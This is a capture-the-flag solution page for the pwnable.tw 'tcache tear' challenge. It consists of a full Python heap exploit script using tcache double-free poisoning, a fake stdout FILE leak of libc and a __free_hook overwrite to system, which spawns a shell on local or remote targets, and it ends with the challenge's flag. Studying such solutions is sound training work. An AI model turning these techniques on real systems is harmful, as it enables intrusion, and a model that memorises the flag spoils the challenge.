[PWNABLE.TW] - tcache tear

38 collapsed lines
1
#!/usr/bin/env python3
2
# -*- coding: utf-8 -*-
3
from pwnie import *
4
from subprocess import check_output
5
from time import sleep
6

7
context.log_level = 'debug'
8
context.terminal = ["wt.exe", "-w", "0", "split-pane", "--size", "0.6", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "--", "bash", "-c"]
9
exe = context.binary = ELF('./tcache_tear_patched', checksec=False)
10
libc = exe.libc
11

12
def start(argv=[], *a, **kw):
13
    if args.GDB:
14
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, aslr=False, *a, **kw)
15
    elif args.REMOTE:
16
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
17
    elif args.DOCKER:
18
        p = remote("localhost", 5000)
19
        sleep(1)
20
        pid = int(check_output(["pidof", "-s", "/app/run"]))
21
        gdb.attach(int(pid), gdbscript=gdbscript+f"\n set sysroot /proc/{pid}/root\nfile /proc/{pid}/exe", exe=exe.path)
22
        pause()
23
        return p
24
    else:
25
        return process([exe.path] + argv, *a, **kw)
26

27
gdbscript = '''
28
init-pwndbg
29

30
b *0x400B54
31
b *0x400C54
32
b *0x400BBF
33

34
c
35
'''
36

37
p = start()
38

39
# ==================== EXPLOIT ====================
40

41
def choice(option: int):
42
    sna(b'choice :', option)
43

44

45
def malloc(size, data):
46
    choice(1)
47
    sna(b'Size:', size)
48
    sa(b'Data:', data)
49

50

51
def free():
52
    choice(2)
53

54

55
def info():
56
    choice(3)
57
    ru(b'Name :')
58

59

60
def leak_libc(fsop=False):
61

62
    if fsop:
63
        STDOUT_ADDR = 0x602020
64
        sa(b'Name:', b'A'*0x8)
65

66
        malloc(0x68, b"AAAA")
67
        free()
68
        free()
69

70
        malloc(0x68, p64(STDOUT_ADDR))
71
        malloc(0x68, p64(0x0))
72
        malloc(0x68, p8(0x60))
73

74
        STDERR_ADDR   = 0x602040
75
        _FLAGS      = 0xfbad2887
76

77
        fields = [
78
            _FLAGS,                # _flags
79
            0,                     # _IO_read_ptr
80
            STDERR_ADDR,           # _IO_read_end
81
            0,                     # _IO_read_base
82
            STDERR_ADDR,           # _IO_write_base
83
            STDERR_ADDR + 0x100,   # _IO_write_ptr
84
            0,                     # _IO_write_end
85
            0,                     # _IO_buf_base
86
            0,                     # _IO_buf_end
87
            0,                     # _IO_save_base
88
            0,                     # _IO_backup_base
89
            0,                     # _IO_save_end
90
            0,                     # _markers
91
            0,                     # _chain
92
            1,                     # _fileno (1 = STDOUT_ADDR)
93
        ]
94

95
        malloc(0x68, flat(*fields))
96

97
        libc.address = u64(p.recv(6).ljust(8, b"\x00")) - 0x3ec680
98
        success('libc base @ %#x', libc.address)
99

100
    else:
101
        GBUF_ADDR = 0x602060
102

103
        sa(b'Name:', b'A'*0x8)
104

105
        malloc(0x60, b"AAAA")
106
        free()
107
        free()
108

109
        fake_chunk = flat(
110
            0x0, 0x20 | 1,
111
            0x0, 0x0,
112
            0x0, 0x20 | 1
113
        )
114

115
        malloc(0x60, p64(GBUF_ADDR + 0x420 - 0x10))
116
        malloc(0x60, b"BBBB")
117
        malloc(0x60, fake_chunk)
118

119

120
        malloc(0x70, b"AAAA")
121
        free()
122
        free()
123

124
        fake_chunk = flat(
125
            0x0, 0x420 | 1,
126
            0x0, 0x0,
127
            0x0, 0x0,
128
            0x0, GBUF_ADDR
129
        )
130

131
        malloc(0x70, p64(GBUF_ADDR - 0x10))
132
        malloc(0x70, b"BBBB")
133
        malloc(0x70, fake_chunk)
134

135
        free()
136
        info()
137

138
        leak_address = u64(rb(6).ljust(0x8, b'\0'))
139
        libc.address = leak_address - 0x3ebca0
140
        success('leak @ %#x', leak_address)
141
        success('libc base @ %#x', libc.address)
142

143

144
def get_shell():
145

146
    # Overwrite __free_hook -> system
147
    malloc(0x80, b"AAAA")
148
    free()
149
    free()
150

151
    malloc(0x80, p64(libc.sym.__free_hook))
152
    malloc(0x80, b"BBBB")
153
    malloc(0x80, p64(libc.sym.system))
154

155
    # Trigger __free_hook
156
    malloc(0x90, b'/bin/sh\0')
157
    free()
158

159

160
def exploit():
161

162
    leak_libc(fsop=True)
163
    get_shell()
164

165
    interactive()
166

167
if __name__ == '__main__':
168
    exploit()
169

170
# FLAG{tc4ch3_1s_34sy_f0r_y0u}